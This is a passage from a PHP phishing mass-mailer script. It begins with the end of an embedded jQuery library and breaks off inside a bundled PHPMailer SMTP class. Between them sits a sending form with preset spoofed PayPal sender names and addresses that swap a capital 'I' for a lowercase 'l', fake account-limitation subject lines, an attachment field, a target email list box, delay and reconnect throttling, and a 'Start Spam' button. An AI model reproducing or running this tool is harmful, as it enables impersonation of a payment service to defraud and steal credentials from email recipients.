5898 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5899 }
5900 if (s.async && s.timeout > 0) {
5901 timeoutTimer = setTimeout(function() {
5902 jqXHR.abort("timeout")
5903 }, s.timeout)
5904 }
5905 try {
5906 state = 1;
5907 transport.send(requestHeaders, done)
5908 } catch (e) {
5909 if (state < 2) {
5910 done(-1, e)
5911 } else {
5912 throw e;
5913 }
5914 }
5915 }
5916
5917 function done(status, nativeStatusText, responses, headers) {
5918 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5919 if (state === 2) {
5920 return
5921 }
5922 state = 2;
5923 if (timeoutTimer) {
5924 clearTimeout(timeoutTimer)
5925 }
5926 transport = undefined;
5927 responseHeadersString = headers || "";
5928 jqXHR.readyState = status > 0 ? 4 : 0;
5929 isSuccess = status >= 200 && status < 300 || status === 304;
5930 if (responses) {
5931 response = ajaxHandleResponses(s, jqXHR, responses)
5932 }
5933 response = ajaxConvert(s, response, jqXHR, isSuccess);
5934 if (isSuccess) {
5935 if (s.ifModified) {
5936 modified = jqXHR.getResponseHeader("Last-Modified");
5937 if (modified) {
5938 jQuery.lastModified[cacheURL] = modified
5939 }
5940 modified = jqXHR.getResponseHeader("etag");
5941 if (modified) {
5942 jQuery.etag[cacheURL] = modified
5943 }
5944 }
5945 if (status === 204 || s.type === "HEAD") {
5946 statusText = "nocontent"
5947 } else if (status === 304) {
5948 statusText = "notmodified"
5949 } else {
5950 statusText = response.state;
5951 success = response.data;
5952 error = response.error;
5953 isSuccess = !error
5954 }
5955 } else {
5956 error = statusText;
5957 if (status || !statusText) {
5958 statusText = "error";
5959 if (status < 0) {
5960 status = 0
5961 }
5962 }
5963 }
5964 jqXHR.status = status;
5965 jqXHR.statusText = (nativeStatusText || statusText) + "";
5966 if (isSuccess) {
5967 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5968 } else {
5969 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5970 }
5971 jqXHR.statusCode(statusCode);
5972 statusCode = undefined;
5973 if (fireGlobals) {
5974 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5975 }
5976 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
5977 if (fireGlobals) {
5978 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5979 if (!(--jQuery.active)) {
5980 jQuery.event.trigger("ajaxStop")
5981 }
5982 }
5983 }
5984 return jqXHR
5985 },
5986 getJSON: function(url, data, callback) {
5987 return jQuery.get(url, data, callback, "json")
5988 },
5989 getScript: function(url, callback) {
5990 return jQuery.get(url, undefined, callback, "script")
5991 }
5992 });
5993 jQuery.each(["get", "post"], function(i, method) {
5994 jQuery[method] = function(url, data, callback, type) {
5995 if (jQuery.isFunction(data)) {
5996 type = type || callback;
5997 callback = data;
5998 data = undefined
5999 }
6000 return jQuery.ajax({
6001 url: url,
6002 type: method,
6003 dataType: type,
6004 data: data,
6005 success: callback
6006 })
6007 }
6008 });
6009 jQuery._evalUrl = function(url) {
6010 return jQuery.ajax({
6011 url: url,
6012 type: "GET",
6013 dataType: "script",
6014 async: false,
6015 global: false,
6016 "throws": true
6017 })
6018 };
6019 jQuery.fn.extend({
6020 wrapAll: function(html) {
6021 if (jQuery.isFunction(html)) {
6022 return this.each(function(i) {
6023 jQuery(this).wrapAll(html.call(this, i))
6024 })
6025 }
6026 if (this[0]) {
6027 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
6028 if (this[0].parentNode) {
6029 wrap.insertBefore(this[0])
6030 }
6031 wrap.map(function() {
6032 var elem = this;
6033 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6034 elem = elem.firstChild
6035 }
6036 return elem
6037 }).append(this)
6038 }
6039 return this
6040 },
6041 wrapInner: function(html) {
6042 if (jQuery.isFunction(html)) {
6043 return this.each(function(i) {
6044 jQuery(this).wrapInner(html.call(this, i))
6045 })
6046 }
6047 return this.each(function() {
6048 var self = jQuery(this),
6049 contents = self.contents();
6050 if (contents.length) {
6051 contents.wrapAll(html)
6052 } else {
6053 self.append(html)
6054 }
6055 })
6056 },
6057 wrap: function(html) {
6058 var isFunction = jQuery.isFunction(html);
6059 return this.each(function(i) {
6060 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6061 })
6062 },
6063 unwrap: function() {
6064 return this.parent().each(function() {
6065 if (!jQuery.nodeName(this, "body")) {
6066 jQuery(this).replaceWith(this.childNodes)
6067 }
6068 }).end()
6069 }
6070 });
6071 jQuery.expr.filters.hidden = function(elem) {
6072 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6073 };
6074 jQuery.expr.filters.visible = function(elem) {
6075 return !jQuery.expr.filters.hidden(elem)
6076 };
6077 var r20 = /%20/g,
6078 rbracket = /\[\]$/,
6079 rCRLF = /\r?\n/g,
6080 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6081 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6082
6083 function buildParams(prefix, obj, traditional, add) {
6084 var name;
6085 if (jQuery.isArray(obj)) {
6086 jQuery.each(obj, function(i, v) {
6087 if (traditional || rbracket.test(prefix)) {
6088 add(prefix, v)
6089 } else {
6090 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6091 }
6092 })
6093 } else if (!traditional && jQuery.type(obj) === "object") {
6094 for (name in obj) {
6095 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6096 }
6097 } else {
6098 add(prefix, obj)
6099 }
6100 }
6101 jQuery.param = function(a, traditional) {
6102 var prefix, s = [],
6103 add = function(key, value) {
6104 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6105 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6106 };
6107 if (traditional === undefined) {
6108 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6109 }
6110 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6111 jQuery.each(a, function() {
6112 add(this.name, this.value)
6113 })
6114 } else {
6115 for (prefix in a) {
6116 buildParams(prefix, a[prefix], traditional, add)
6117 }
6118 }
6119 return s.join("&").replace(r20, "+")
6120 };
6121 jQuery.fn.extend({
6122 serialize: function() {
6123 return jQuery.param(this.serializeArray())
6124 },
6125 serializeArray: function() {
6126 return this.map(function() {
6127 var elements = jQuery.prop(this, "elements");
6128 return elements ? jQuery.makeArray(elements) : this
6129 }).filter(function() {
6130 var type = this.type;
6131 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6132 }).map(function(i, elem) {
6133 var val = jQuery(this).val();
6134 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6135 return {
6136 name: elem.name,
6137 value: val.replace(rCRLF, "\r\n")
6138 }
6139 }) : {
6140 name: elem.name,
6141 value: val.replace(rCRLF, "\r\n")
6142 }
6143 }).get()
6144 }
6145 });
6146 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6147 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6148 } : createStandardXHR;
6149 var xhrId = 0,
6150 xhrCallbacks = {},
6151 xhrSupported = jQuery.ajaxSettings.xhr();
6152 if (window.attachEvent) {
6153 window.attachEvent("onunload", function() {
6154 for (var key in xhrCallbacks) {
6155 xhrCallbacks[key](undefined, true)
6156 }
6157 })
6158 }
6159 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6160 xhrSupported = support.ajax = !!xhrSupported;
6161 if (xhrSupported) {
6162 jQuery.ajaxTransport(function(options) {
6163 if (!options.crossDomain || support.cors) {
6164 var callback;
6165 return {
6166 send: function(headers, complete) {
6167 var i, xhr = options.xhr(),
6168 id = ++xhrId;
6169 xhr.open(options.type, options.url, options.async, options.username, options.password);
6170 if (options.xhrFields) {
6171 for (i in options.xhrFields) {
6172 xhr[i] = options.xhrFields[i]
6173 }
6174 }
6175 if (options.mimeType && xhr.overrideMimeType) {
6176 xhr.overrideMimeType(options.mimeType)
6177 }
6178 if (!options.crossDomain && !headers["X-Requested-With"]) {
6179 headers["X-Requested-With"] = "XMLHttpRequest"
6180 }
6181 for (i in headers) {
6182 if (headers[i] !== undefined) {
6183 xhr.setRequestHeader(i, headers[i] + "")
6184 }
6185 }
6186 xhr.send((options.hasContent && options.data) || null);
6187 callback = function(_, isAbort) {
6188 var status, statusText, responses;
6189 if (callback && (isAbort || xhr.readyState === 4)) {
6190 delete xhrCallbacks[id];
6191 callback = undefined;
6192 xhr.onreadystatechange = jQuery.noop;
6193 if (isAbort) {
6194 if (xhr.readyState !== 4) {
6195 xhr.abort()
6196 }
6197 } else {
6198 responses = {};
6199 status = xhr.status;
6200 if (typeof xhr.responseText === "string") {
6201 responses.text = xhr.responseText
6202 }
6203 try {
6204 statusText = xhr.statusText
6205 } catch (e) {
6206 statusText = ""
6207 }
6208 if (!status && options.isLocal && !options.crossDomain) {
6209 status = responses.text ? 200 : 404
6210 } else if (status === 1223) {
6211 status = 204
6212 }
6213 }
6214 }
6215 if (responses) {
6216 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6217 }
6218 };
6219 if (!options.async) {
6220 callback()
6221 } else if (xhr.readyState === 4) {
6222 setTimeout(callback)
6223 } else {
6224 xhr.onreadystatechange = xhrCallbacks[id] = callback
6225 }
6226 },
6227 abort: function() {
6228 if (callback) {
6229 callback(undefined, true)
6230 }
6231 }
6232 }
6233 }
6234 })
6235 }
6236 function createStandardXHR() {
6237 try {
6238 return new window.XMLHttpRequest()
6239 } catch (e) {}
6240 }
6241
6242 function createActiveXHR() {
6243 try {
6244 return new window.ActiveXObject("Microsoft.XMLHTTP")
6245 } catch (e) {}
6246 }
6247 jQuery.ajaxSetup({
6248 accepts: {
6249 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6250 },
6251 contents: {
6252 script: /(?:java|ecma)script/
6253 },
6254 converters: {
6255 "text script": function(text) {
6256 jQuery.globalEval(text);
6257 return text
6258 }
6259 }
6260 });
6261 jQuery.ajaxPrefilter("script", function(s) {
6262 if (s.cache === undefined) {
6263 s.cache = false
6264 }
6265 if (s.crossDomain) {
6266 s.type = "GET";
6267 s.global = false
6268 }
6269 });
6270 jQuery.ajaxTransport("script", function(s) {
6271 if (s.crossDomain) {
6272 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6273 return {
6274 send: function(_, callback) {
6275 script = document.createElement("script");
6276 script.async = true;
6277 if (s.scriptCharset) {
6278 script.charset = s.scriptCharset
6279 }
6280 script.src = s.url;
6281 script.onload = script.onreadystatechange = function(_, isAbort) {
6282 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6283 script.onload = script.onreadystatechange = null;
6284 if (script.parentNode) {
6285 script.parentNode.removeChild(script)
6286 }
6287 script = null;
6288 if (!isAbort) {
6289 callback(200, "success")
6290 }
6291 }
6292 };
6293 head.insertBefore(script, head.firstChild)
6294 },
6295 abort: function() {
6296 if (script) {
6297 script.onload(undefined, true)
6298 }
6299 }
6300 }
6301 }
6302 });
6303 var oldCallbacks = [],
6304 rjsonp = /(=)\?(?=&|$)|\?\?/;
6305 jQuery.ajaxSetup({
6306 jsonp: "callback",
6307 jsonpCallback: function() {
6308 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6309 this[callback] = true;
6310 return callback
6311 }
6312 });
6313 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6314 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6315 if (jsonProp || s.dataTypes[0] === "jsonp") {
6316 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6317 if (jsonProp) {
6318 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6319 } else if (s.jsonp !== false) {
6320 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6321 }
6322 s.converters["script json"] = function() {
6323 if (!responseContainer) {
6324 jQuery.error(callbackName + " was not called")
6325 }
6326 return responseContainer[0]
6327 };
6328 s.dataTypes[0] = "json";
6329 overwritten = window[callbackName];
6330 window[callbackName] = function() {
6331 responseContainer = arguments
6332 };
6333 jqXHR.always(function() {
6334 window[callbackName] = overwritten;
6335 if (s[callbackName]) {
6336 s.jsonpCallback = originalSettings.jsonpCallback;
6337 oldCallbacks.push(callbackName)
6338 }
6339 if (responseContainer && jQuery.isFunction(overwritten)) {
6340 overwritten(responseContainer[0])
6341 }
6342 responseContainer = overwritten = undefined
6343 });
6344 return "script"
6345 }
6346 });
6347 jQuery.parseHTML = function(data, context, keepScripts) {
6348 if (!data || typeof data !== "string") {
6349 return null
6350 }
6351 if (typeof context === "boolean") {
6352 keepScripts = context;
6353 context = false
6354 }
6355 context = context || document;
6356 var parsed = rsingleTag.exec(data),
6357 scripts = !keepScripts && [];
6358 if (parsed) {
6359 return [context.createElement(parsed[1])]
6360 }
6361 parsed = jQuery.buildFragment([data], context, scripts);
6362 if (scripts && scripts.length) {
6363 jQuery(scripts).remove()
6364 }
6365 return jQuery.merge([], parsed.childNodes)
6366 };
6367 var _load = jQuery.fn.load;
6368 jQuery.fn.load = function(url, params, callback) {
6369 if (typeof url !== "string" && _load) {
6370 return _load.apply(this, arguments)
6371 }
6372 var selector, response, type, self = this,
6373 off = url.indexOf(" ");
6374 if (off >= 0) {
6375 selector = jQuery.trim(url.slice(off, url.length));
6376 url = url.slice(0, off)
6377 }
6378 if (jQuery.isFunction(params)) {
6379 callback = params;
6380 params = undefined
6381 } else if (params && typeof params === "object") {
6382 type = "POST"
6383 }
6384 if (self.length > 0) {
6385 jQuery.ajax({
6386 url: url,
6387 type: type,
6388 dataType: "html",
6389 data: params
6390 }).done(function(responseText) {
6391 response = arguments;
6392 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6393 }).complete(callback && function(jqXHR, status) {
6394 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6395 })
6396 }
6397 return this
6398 };
6399 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6400 jQuery.fn[type] = function(fn) {
6401 return this.on(type, fn)
6402 }
6403 });
6404 jQuery.expr.filters.animated = function(elem) {
6405 return jQuery.grep(jQuery.timers, function(fn) {
6406 return elem === fn.elem
6407 }).length
6408 };
6409 var docElem = window.document.documentElement;
6410
6411 function getWindow(elem) {
6412 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6413 }
6414 jQuery.offset = {
6415 setOffset: function(elem, options, i) {
6416 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6417 curElem = jQuery(elem),
6418 props = {};
6419 if (position === "static") {
6420 elem.style.position = "relative"
6421 }
6422 curOffset = curElem.offset();
6423 curCSSTop = jQuery.css(elem, "top");
6424 curCSSLeft = jQuery.css(elem, "left");
6425 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6426 if (calculatePosition) {
6427 curPosition = curElem.position();
6428 curTop = curPosition.top;
6429 curLeft = curPosition.left
6430 } else {
6431 curTop = parseFloat(curCSSTop) || 0;
6432 curLeft = parseFloat(curCSSLeft) || 0
6433 }
6434 if (jQuery.isFunction(options)) {
6435 options = options.call(elem, i, curOffset)
6436 }
6437 if (options.top != null) {
6438 props.top = (options.top - curOffset.top) + curTop
6439 }
6440 if (options.left != null) {
6441 props.left = (options.left - curOffset.left) + curLeft
6442 }
6443 if ("using" in options) {
6444 options.using.call(elem, props)
6445 } else {
6446 curElem.css(props)
6447 }
6448 }
6449 };
6450 jQuery.fn.extend({
6451 offset: function(options) {
6452 if (arguments.length) {
6453 return options === undefined ? this : this.each(function(i) {
6454 jQuery.offset.setOffset(this, options, i)
6455 })
6456 }
6457 var docElem, win, box = {
6458 top: 0,
6459 left: 0
6460 },
6461 elem = this[0],
6462 doc = elem && elem.ownerDocument;
6463 if (!doc) {
6464 return
6465 }
6466 docElem = doc.documentElement;
6467 if (!jQuery.contains(docElem, elem)) {
6468 return box
6469 }
6470 if (typeof elem.getBoundingClientRect !== strundefined) {
6471 box = elem.getBoundingClientRect()
6472 }
6473 win = getWindow(doc);
6474 return {
6475 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6476 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6477 }
6478 },
6479 position: function() {
6480 if (!this[0]) {
6481 return
6482 }
6483 var offsetParent, offset, parentOffset = {
6484 top: 0,
6485 left: 0
6486 },
6487 elem = this[0];
6488 if (jQuery.css(elem, "position") === "fixed") {
6489 offset = elem.getBoundingClientRect()
6490 } else {
6491 offsetParent = this.offsetParent();
6492 offset = this.offset();
6493 if (!jQuery.nodeName(offsetParent[0], "html")) {
6494 parentOffset = offsetParent.offset()
6495 }
6496 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6497 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6498 }
6499 return {
6500 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6501 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6502 }
6503 },
6504 offsetParent: function() {
6505 return this.map(function() {
6506 var offsetParent = this.offsetParent || docElem;
6507 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6508 offsetParent = offsetParent.offsetParent
6509 }
6510 return offsetParent || docElem
6511 })
6512 }
6513 });
6514 jQuery.each({
6515 scrollLeft: "pageXOffset",
6516 scrollTop: "pageYOffset"
6517 }, function(method, prop) {
6518 var top = /Y/.test(prop);
6519 jQuery.fn[method] = function(val) {
6520 return access(this, function(elem, method, val) {
6521 var win = getWindow(elem);
6522 if (val === undefined) {
6523 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6524 }
6525 if (win) {
6526 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6527 } else {
6528 elem[method] = val
6529 }
6530 }, method, val, arguments.length, null)
6531 }
6532 });
6533 jQuery.each(["top", "left"], function(i, prop) {
6534 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6535 if (computed) {
6536 computed = curCSS(elem, prop);
6537 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6538 }
6539 })
6540 });
6541 jQuery.each({
6542 Height: "height",
6543 Width: "width"
6544 }, function(name, type) {
6545 jQuery.each({
6546 padding: "inner" + name,
6547 content: type,
6548 "": "outer" + name
6549 }, function(defaultExtra, funcName) {
6550 jQuery.fn[funcName] = function(margin, value) {
6551 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6552 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6553 return access(this, function(elem, type, value) {
6554 var doc;
6555 if (jQuery.isWindow(elem)) {
6556 return elem.document.documentElement["client" + name]
6557 }
6558 if (elem.nodeType === 9) {
6559 doc = elem.documentElement;
6560 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6561 }
6562 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6563 }, type, chainable ? margin : undefined, chainable, null)
6564 }
6565 })
6566 });
6567 jQuery.fn.size = function() {
6568 return this.length
6569 };
6570 jQuery.fn.andSelf = jQuery.fn.addBack;
6571 if (typeof define === "function" && define.amd) {
6572 define("jquery", [], function() {
6573 return jQuery
6574 })
6575 }
6576 var _jQuery = window.jQuery,
6577 _$ = window.$;
6578 jQuery.noConflict = function(deep) {
6579 if (window.$ === jQuery) {
6580 window.$ = _$
6581 }
6582 if (deep && window.jQuery === jQuery) {
6583 window.jQuery = _jQuery
6584 }
6585 return jQuery
6586 };
6587 if (typeof noGlobal === strundefined) {
6588 window.jQuery = window.$ = jQuery
6589 }
6590 return jQuery
6591 }));
6592
6593 </script>
6594 </div>
6595 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6596 <div style="margin-bottom: 10px" class="input-group">
6597 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6598 <select class="form-control" name="type">
6599 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6600 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6601 </select>
6602 </div>
6603 <div style="margin-bottom: 10px" class="input-group">
6604 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6605 <select class="form-control" onChange="Pilih4(this);">
6606 <option value="">No X-Mailer</option>
6607 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6608 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6609 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6610 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6611 </select>
6612 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6613 </div>
6614 </div>
6615 </div>
6616
6617 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6618
6619 <div style="margin-bottom: 10px" class="input-group">
6620 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6621 <select class="form-control" onChange="Pilih1(this);">
6622 <option value="">Select Sender Name</option>
6623 <option value="PayPaI">PayPaI</option>
6624 <option value="PaypaI Service">PaypaI Service</option>
6625 <option value="PaypaI Support">PaypaI Support</option>
6626 <option value="Account Service">Account Service</option>
6627 <option value="Account Support">Account Support</option>
6628 <option value="Service">Service</option>
6629 </select>
6630 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6631 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6632 <select class="form-control kanan" onChange="Pilih2(this);">
6633 <option value="">Select Sender Email</option>
6634 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6635 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6636 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6637 <option value="no-reply">no-reply</option>
6638 <option value="admin">admin</option>
6639 <option value="service">service</option>
6640 <option value="same as target">same as target</option>
6641
6642 </select>
6643 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6644 </div>
6645
6646 <div style="margin-bottom: 10px" class="input-group">
6647 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6648 <select class="form-control kanan" onChange="Pilih3(this);">ge
6649 <option value="">Select Email Subject</option>
6650 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6651 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6652 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6653 <option value="Account Notification">Account Notification</option>
6654 <option value="Attention: Your account status change">Attention: Your account status change</option>
6655
6656 </select>
6657 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6658 </div>
6659
6660 <div style="margin-bottom: 5px" class="input-group">
6661 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6662 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6663 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6664 <select class="form-control" name="encode">
6665 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6666 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6667 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6668 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6669 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6670 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6671 </select>
6672 </div>
6673 <div style="margin-bottom: 10px" class="input-group">
6674 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6675 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6676 </div>
6677 <div style="margin-bottom: 10px" class="input-group">
6678 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6679 <font color="white">Next send after </font>
6680 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6681 <font color="white">(second) | Reconnect After
6682 <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6683 <font color="white">(emails)</font>
6684 </div>
6685
6686 </div>
6687 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6688
6689 <div style="margin-bottom: 10px" class="input-group">
6690 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6691 <select class="form-control" name="encoding">
6692 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6693 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6694 </select>
6695 </div>
6696 <div style="margin-bottom: 10px" class="input-group">
6697 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6698 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6699 </div>
6700
6701 </div>
6702 <div class="form-group">
6703 </div>
6704
6705 </form>
6706
6707 </div>
6708 </div>
6709<?php
6710
6711if ($action){
6712
6713 if (!$from && !$subject && !$message && !$emaillist) {
6714 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6715 die();
6716 }
6717
6718 if ($_POST['encoding']=='yes') {
6719 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6720 $subject = str_replace(' ', '=20', $subject);
6721 $subject = "=?utf-8?Q?$subject?=";
6722 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6723 $nama = str_replace(' ', '=20', $nama);
6724 $nama = "=?utf-8?Q?$nama?=";
6725 }
6726
6727 $allemails = split("\n", $emaillist);
6728 $numemails = count($allemails);
6729
6730
6731 function xflush()
6732 {
6733 static $output_handler = null;
6734 if ($output_handler === null) {
6735 $output_handler = @ini_get('output_handler');
6736 }
6737 if ($output_handler == 'ob_gzhandler') {
6738 return;
6739 }
6740 flush();
6741 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6742 @ob_flush();
6743 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6744 @ob_end_flush();
6745 @ob_start();
6746 }
6747 }
6748?>
6749<?php
6750/**
6751 * PHPMailer RFC821 SMTP email transport class.
6752 * PHP Version 5
6753 * @package PHPMailer
6754 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6755 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6756 * @author Jim Jagielski (jimjag) <>
6757 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6758 * @author Brent R. Matzelle (original founder)
6759 * @copyright 2014 Marcus Bointon
6760 * @copyright 2010 - 2012 Jim Jagielski
6761 * @copyright 2004 - 2009 Andy Prevost
6762 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6763 * @note This program is distributed in the hope that it will be useful - WITHOUT
6764 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6765 * FITNESS FOR A PARTICULAR PURPOSE.
6766 */
6767
6768/**
6769 * PHPMailer RFC821 SMTP email transport class.
6770 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6771 * @package PHPMailer
6772 * @author Chris Ryan
6773 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6774 */
6775class SMTP
6776{
6777 /**
6778 * The PHPMailer SMTP version number.
6779 * @type string
6780 */
6781 const VERSION = '5.2.9';
6782
6783 /**
6784 * SMTP line break constant.
6785 * @type string
6786 */
6787 const CRLF = "\r\n";
6788
6789 /**
6790 * The SMTP port to use if one is not specified.
6791 * @type integer
6792 */
6793 const DEFAULT_SMTP_PORT = 25;
6794
6795 /**
6796 * The maximum line length allowed by RFC 2822 section 2.1.1
6797 * @type integer
6798 */
6799 const MAX_LINE_LENGTH = 998;
6800
6801 /**
6802 * Debug level for no output
6803 */
6804 const DEBUG_OFF = 0;
6805
6806 /**
6807 * Debug level to show client -> server messages
6808 */
6809 const DEBUG_CLIENT = 1;
6810
6811 /**
6812 * Debug level to show client -> server and server -> client messages
6813 */
6814 const DEBUG_SERVER = 2;
6815
6816 /**
6817 * Debug level to show connection status, client -> server and server -> client messages
6818 */
6819 const DEBUG_CONNECTION = 3;
6820
6821 /**
6822 * Debug level to show all messages
6823 */
6824 const DEBUG_LOWLEVEL = 4;
6825
6826 /**
